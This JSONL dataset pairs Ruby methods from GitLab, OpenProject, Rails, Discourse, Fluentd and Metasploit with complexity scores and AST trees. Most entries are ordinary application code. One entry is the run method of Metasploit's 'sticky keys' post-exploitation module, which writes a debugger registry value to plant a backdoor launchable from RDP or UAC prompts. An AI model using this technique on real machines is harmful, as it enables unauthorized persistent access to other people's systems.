{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/background_migration/backfill_partitioned_table.rb","start_line":11,"raw_source":"def perform\n validate_partition_table!\n\n bulk_copy = Gitlab::Database::PartitioningMigrationHelpers::BulkCopy.new(\n batch_table,\n partitioned_table,\n batch_column,\n connection: connection\n )\n\n each_sub_batch do |relation|\n bulk_copy.copy_relation(filter_sub_batch_content(relation))\n end\n end","complexity_score":12.2,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"validate_partition_table!\"]},{\"type\":\"lvasgn\",\"children\":[\"bulk_copy\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Database\"]},\"PartitioningMigrationHelpers\"]},\"BulkCopy\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"batch_table\"]},{\"type\":\"send\",\"children\":[null,\"partitioned_table\"]},{\"type\":\"send\",\"children\":[null,\"batch_column\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"connection\"]},{\"type\":\"send\",\"children\":[null,\"connection\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"each_sub_batch\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"relation\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bulk_copy\"]},\"copy_relation\",{\"type\":\"send\",\"children\":[null,\"filter_sub_batch_content\",{\"type\":\"lvar\",\"children\":[\"relation\"]}]}]}]}]}]}","id":"a8c796cc-de6f-4557-885a-f4c74f95fb1b"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/workers/object_pool/schedule_join_worker.rb","start_line":12,"raw_source":"def perform(pool_id)\n pool = PoolRepository.find_by_id(pool_id)\n return unless pool&.joinable?\n\n pool.member_projects.find_each do |project|\n next if project.forked? && !project.import_finished?\n\n ObjectPool::JoinWorker.perform_async(pool.id, project.id)\n end\n end","complexity_score":17.7,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pool_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"pool\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PoolRepository\"]},\"find_by_id\",{\"type\":\"lvar\",\"children\":[\"pool_id\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pool\"]},\"joinable?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pool\"]},\"member_projects\"]},\"find_each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"forked?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"import_finished?\"]},\"!\"]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ObjectPool\"]},\"JoinWorker\"]},\"perform_async\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pool\"]},\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"id\"]}]}]}]}]}]}","id":"fca043fb-dc5a-42ca-bd70-125acec1b535"} {"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/app/common/storages/adapters/authentication_strategies/oauth_configuration.rb","start_line":42,"raw_source":"def initialize(client_id: nil, client_secret: nil, issuer: nil, scope: nil)\n @client_id = client_id\n @client_secret = client_secret\n @issuer = issuer\n @scope = scope\n end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"client_id\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"client_secret\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"issuer\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"scope\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@client_id\",{\"type\":\"lvar\",\"children\":[\"client_id\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@client_secret\",{\"type\":\"lvar\",\"children\":[\"client_secret\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@issuer\",{\"type\":\"lvar\",\"children\":[\"issuer\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@scope\",{\"type\":\"lvar\",\"children\":[\"scope\"]}]}]}]}","id":"e6d3198a-d86d-4b09-8335-4ffb7d3b04a3"} {"repo_name":"rails","file_path":"./repos/rails/actioncable/test/subscription_adapter/redis_test.rb","start_line":70,"raw_source":"def cable_config\n alt_cable_config = super.dup\n alt_cable_config.delete(:url)\n url = URI(ENV[\"REDIS_URL\"] || \"\")\n alt_cable_config.merge(host: url.hostname || \"127.0.0.1\", port: url.port || 6379, db: 12)\n end","complexity_score":14.13,"ast_json":"{\"type\":\"def\",\"children\":[\"cable_config\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"alt_cable_config\",{\"type\":\"send\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},\"dup\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"alt_cable_config\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"url\"]}]},{\"type\":\"lvasgn\",\"children\":[\"url\",{\"type\":\"send\",\"children\":[null,\"URI\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"REDIS_URL\"]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"alt_cable_config\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"url\"]},\"hostname\"]},{\"type\":\"str\",\"children\":[\"127.0.0.1\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"url\"]},\"port\"]},{\"type\":\"int\",\"children\":[6379]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"db\"]},{\"type\":\"int\",\"children\":[12]}]}]}]}]}]}","id":"c1eba821-5d14-4c05-a3c5-6c9f4c6fc825"} {"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/lib/personas/question_consolidator.rb","start_line":19,"raw_source":"def consolidate_question\n @llm.generate(revised_prompt, user: @user, feature_name: \"question_consolidator\")\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"consolidate_question\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@llm\"]},\"generate\",{\"type\":\"send\",\"children\":[null,\"revised_prompt\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"ivar\",\"children\":[\"@user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"feature_name\"]},{\"type\":\"str\",\"children\":[\"question_consolidator\"]}]}]}]}]}","id":"551796d2-653b-4ea4-95cd-49e1a9a3c383"} {"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-data-explorer/app/serializers/discourse_data_explorer/query_group_bookmark_serializer.rb","start_line":25,"raw_source":"def excerpt\n return nil unless cooked\n @excerpt ||= PrettyText.excerpt(cooked, 300, keep_emoji_images: true)\n end","complexity_score":5.5,"ast_json":"{\"type\":\"def\",\"children\":[\"excerpt\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cooked\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@excerpt\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PrettyText\"]},\"excerpt\",{\"type\":\"send\",\"children\":[null,\"cooked\"]},{\"type\":\"int\",\"children\":[300]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"keep_emoji_images\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}]}","id":"a1ac9322-e78f-400d-89f5-156fbd29287e"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/anemone/page.rb","start_line":54,"raw_source":"def initialize(url, params = {})\n @url = url\n @data = OpenStruct.new\n\n @dirbust = params[:dirbust]\n @code = params[:code]\n @headers = params[:headers] || {}\n @headers['content-type'] ||= ['']\n @aliases = Array(params[:aka]).compact\n @referer = params[:referer]\n @depth = params[:depth] || 0\n @redirect_to = to_absolute(params[:redirect_to])\n @response_time = params[:response_time]\n @body = params[:body]\n @error = params[:error]\n\n @fetched = !params[:code].nil?\n end","complexity_score":34.6,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"url\"]},{\"type\":\"optarg\",\"children\":[\"params\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@url\",{\"type\":\"lvar\",\"children\":[\"url\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@data\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenStruct\"]},\"new\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@dirbust\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"dirbust\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@code\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"code\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@headers\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"headers\"]}]},{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@headers\"]},\"[]\",{\"type\":\"str\",\"children\":[\"content-type\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@aliases\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"Array\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"aka\"]}]}]},\"compact\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@referer\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"referer\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@depth\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"depth\"]}]},{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@redirect_to\",{\"type\":\"send\",\"children\":[null,\"to_absolute\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"redirect_to\"]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@response_time\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"response_time\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@body\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"body\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@error\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"error\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@fetched\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"code\"]}]},\"nil?\"]},\"!\"]}]}]}]}","id":"e55e3aa6-26af-48c3-a59e-eea9c9d8609d"} {"repo_name":"discourse","file_path":"./repos/discourse/app/services/post_bookmarkable.rb","start_line":35,"raw_source":"def self.search_query(bookmarks, query, ts_query, &bookmarkable_search)\n bookmarkable_search.call(\n bookmarks.joins(\n \"LEFT JOIN post_search_data ON post_search_data.post_id = bookmarks.bookmarkable_id AND bookmarks.bookmarkable_type = 'Post'\",\n ),\n \"#{ts_query} @@ post_search_data.search_data\",\n )\n end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"search_query\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"bookmarks\"]},{\"type\":\"arg\",\"children\":[\"query\"]},{\"type\":\"arg\",\"children\":[\"ts_query\"]},{\"type\":\"blockarg\",\"children\":[\"bookmarkable_search\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bookmarkable_search\"]},\"call\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bookmarks\"]},\"joins\",{\"type\":\"str\",\"children\":[\"LEFT JOIN post_search_data ON post_search_data.post_id = bookmarks.bookmarkable_id AND bookmarks.bookmarkable_type = 'Post'\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ts_query\"]}]},{\"type\":\"str\",\"children\":[\" @@ post_search_data.search_data\"]}]}]}]}","id":"a46990d9-4f9d-487d-94bd-c6e5b1ec3e81"} {"repo_name":"openproject","file_path":"./repos/openproject/lib/open_project/acts_as_url/adapter/op_active_record.rb","start_line":55,"raw_source":"def modify_base_url\n root = instance.send(settings.attribute_to_urlify).to_s\n locale = configuration.settings.locale || :en\n self.base_url = root.to_localized_slug(locale:, **configuration.string_extensions_settings)\n\n modify_base_url_custom_rules if base_url.empty?\n end","complexity_score":24.8,"ast_json":"{\"type\":\"def\",\"children\":[\"modify_base_url\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"root\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"instance\"]},\"send\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"settings\"]},\"attribute_to_urlify\"]}]},\"to_s\"]}]},{\"type\":\"lvasgn\",\"children\":[\"locale\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"configuration\"]},\"settings\"]},\"locale\"]},{\"type\":\"sym\",\"children\":[\"en\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"base_url=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"root\"]},\"to_localized_slug\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"locale\"]},{\"type\":\"lvar\",\"children\":[\"locale\"]}]},{\"type\":\"kwsplat\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"configuration\"]},\"string_extensions_settings\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"base_url\"]},\"empty?\"]},{\"type\":\"send\",\"children\":[null,\"modify_base_url_custom_rules\"]},null]}]}]}","id":"c2e192c2-77b5-4218-a7d2-aa3595d5d569"} {"repo_name":"openproject","file_path":"./repos/openproject/lib/api/decorators/schema_representer.rb","start_line":162,"raw_source":"def schema_with_allowed_string_collection(property,\n type: make_type(property),\n name_source: property,\n as: camelize(property),\n values_callback: -> do\n represented.assignable_values(property, current_user)\n end,\n required: true,\n has_default: false,\n writable: default_writable_property(property),\n attribute_group: nil,\n show_if: true)\n getter = ->(*) do\n schema_with_allowed_collection_getter(type,\n name_source,\n current_user,\n nil,\n nil,\n required,\n has_default,\n writable,\n attribute_group,\n values_callback,\n ->(*) {\n next unless allowed_values\n\n allowed_values\n })\n end\n\n schema_property(property,\n getter:,\n show_if:,\n required:,\n has_default:,\n name_source:,\n as:)\n end","complexity_score":18.9,"ast_json":"{\"type\":\"def\",\"children\":[\"schema_with_allowed_string_collection\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"property\"]},{\"type\":\"kwoptarg\",\"children\":[\"type\",{\"type\":\"send\",\"children\":[null,\"make_type\",{\"type\":\"lvar\",\"children\":[\"property\"]}]}]},{\"type\":\"kwoptarg\",\"children\":[\"name_source\",{\"type\":\"lvar\",\"children\":[\"property\"]}]},{\"type\":\"kwoptarg\",\"children\":[\"as\",{\"type\":\"send\",\"children\":[null,\"camelize\",{\"type\":\"lvar\",\"children\":[\"property\"]}]}]},{\"type\":\"kwoptarg\",\"children\":[\"values_callback\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"represented\"]},\"assignable_values\",{\"type\":\"lvar\",\"children\":[\"property\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]}]}]},{\"type\":\"kwoptarg\",\"children\":[\"required\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"has_default\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"writable\",{\"type\":\"send\",\"children\":[null,\"default_writable_property\",{\"type\":\"lvar\",\"children\":[\"property\"]}]}]},{\"type\":\"kwoptarg\",\"children\":[\"attribute_group\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"show_if\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"getter\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"schema_with_allowed_collection_getter\",{\"type\":\"lvar\",\"children\":[\"type\"]},{\"type\":\"lvar\",\"children\":[\"name_source\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"required\"]},{\"type\":\"lvar\",\"children\":[\"has_default\"]},{\"type\":\"lvar\",\"children\":[\"writable\"]},{\"type\":\"lvar\",\"children\":[\"attribute_group\"]},{\"type\":\"lvar\",\"children\":[\"values_callback\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allowed_values\"]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"allowed_values\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"schema_property\",{\"type\":\"lvar\",\"children\":[\"property\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"getter\"]},{\"type\":\"lvar\",\"children\":[\"getter\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"show_if\"]},{\"type\":\"lvar\",\"children\":[\"show_if\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"required\"]},{\"type\":\"lvar\",\"children\":[\"required\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"has_default\"]},{\"type\":\"lvar\",\"children\":[\"has_default\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name_source\"]},{\"type\":\"lvar\",\"children\":[\"name_source\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"as\"]},{\"type\":\"lvar\",\"children\":[\"as\"]}]}]}]}]}]}","id":"9443eafe-1825-4a15-a4a2-412d88cf453b"} {"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/routing_test.rb","start_line":1480,"raw_source":"def test_id_is_sticky_when_it_ought_to_be\n @set = make_set false\n\n set.draw do\n ActionDispatch.deprecator.silence do\n get \":controller/:id/:action\"\n end\n end\n\n get URI(\"http://test.host/people/7/show\")\n\n assert_equal \"/people/7/destroy\", controller.url_for(action: \"destroy\", only_path: true)\n end","complexity_score":15.7,"ast_json":"{\"type\":\"def\",\"children\":[\"test_id_is_sticky_when_it_ought_to_be\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@set\",{\"type\":\"send\",\"children\":[null,\"make_set\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"set\"]},\"draw\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionDispatch\"]},\"deprecator\"]},\"silence\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"str\",\"children\":[\":controller/:id/:action\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"send\",\"children\":[null,\"URI\",{\"type\":\"str\",\"children\":[\"http://test.host/people/7/show\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"/people/7/destroy\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"controller\"]},\"url_for\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"str\",\"children\":[\"destroy\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"only_path\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}]}","id":"68cd523a-59ec-4add-81e9-60fa3b28d59a"} {"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/command/cat.rb","start_line":238,"raw_source":"def write_impl(array)\n socket = get_socket\n unless socket\n return false\n end\n\n begin\n packer = Fluent::MessagePackFactory.packer\n socket.write packer.pack([@tag, array])\n socket.flush\n rescue\n $stderr.puts \"write failed: #{$!}\"\n close\n return false\n end\n\n return true\n end","complexity_score":12.4,"ast_json":"{\"type\":\"def\",\"children\":[\"write_impl\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"array\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"socket\",{\"type\":\"send\",\"children\":[null,\"get_socket\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"socket\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"packer\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fluent\"]},\"MessagePackFactory\"]},\"packer\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"socket\"]},\"write\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"packer\"]},\"pack\",{\"type\":\"array\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@tag\"]},{\"type\":\"lvar\",\"children\":[\"array\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"socket\"]},\"flush\"]}]},{\"type\":\"resbody\",\"children\":[null,null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$stderr\"]},\"puts\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"write failed: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$!\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"close\"]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]}]},null]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]}]}]}","id":"05575833-fe70-42b9-a99a-90f5be5a8b2d"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/windows/manage/sticky_keys.rb","start_line":107,"raw_source":"def run\n unless is_admin?\n fail_with(Failure::NoAccess, 'The current session does not have administrative rights.')\n end\n\n print_good('Session has administrative rights, proceeding.')\n\n target_key = get_target_exe_reg_key\n\n if action.name == 'ADD'\n command = expand_path(datastore['EXE'])\n\n registry_createkey(target_key)\n registry_setvaldata(target_key, DEBUG_REG_VALUE, command, 'REG_SZ')\n\n print_good(\"'Sticky keys' successfully added. Launch the exploit at an RDP or UAC prompt by pressing #{get_target_key_combo}.\")\n else\n registry_deletekey(target_key)\n print_good(\"'Sticky keys' removed from registry key #{target_key}.\")\n end\n end","complexity_score":23.5,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"is_admin?\"]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"NoAccess\"]},{\"type\":\"str\",\"children\":[\"The current session does not have administrative rights.\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"str\",\"children\":[\"Session has administrative rights, proceeding.\"]}]},{\"type\":\"lvasgn\",\"children\":[\"target_key\",{\"type\":\"send\",\"children\":[null,\"get_target_exe_reg_key\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"action\"]},\"name\"]},\"==\",{\"type\":\"str\",\"children\":[\"ADD\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"command\",{\"type\":\"send\",\"children\":[null,\"expand_path\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"EXE\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"registry_createkey\",{\"type\":\"lvar\",\"children\":[\"target_key\"]}]},{\"type\":\"send\",\"children\":[null,\"registry_setvaldata\",{\"type\":\"lvar\",\"children\":[\"target_key\"]},{\"type\":\"const\",\"children\":[null,\"DEBUG_REG_VALUE\"]},{\"type\":\"lvar\",\"children\":[\"command\"]},{\"type\":\"str\",\"children\":[\"REG_SZ\"]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"'Sticky keys' successfully added. Launch the exploit at an RDP or UAC prompt by pressing \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get_target_key_combo\"]}]},{\"type\":\"str\",\"children\":[\".\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"registry_deletekey\",{\"type\":\"lvar\",\"children\":[\"target_key\"]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"'Sticky keys' removed from registry key \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target_key\"]}]},{\"type\":\"str\",\"children\":[\".\"]}]}]}]}]}]}]}","id":"253097cb-c4f9-4379-a005-aa2b0a719dea"} 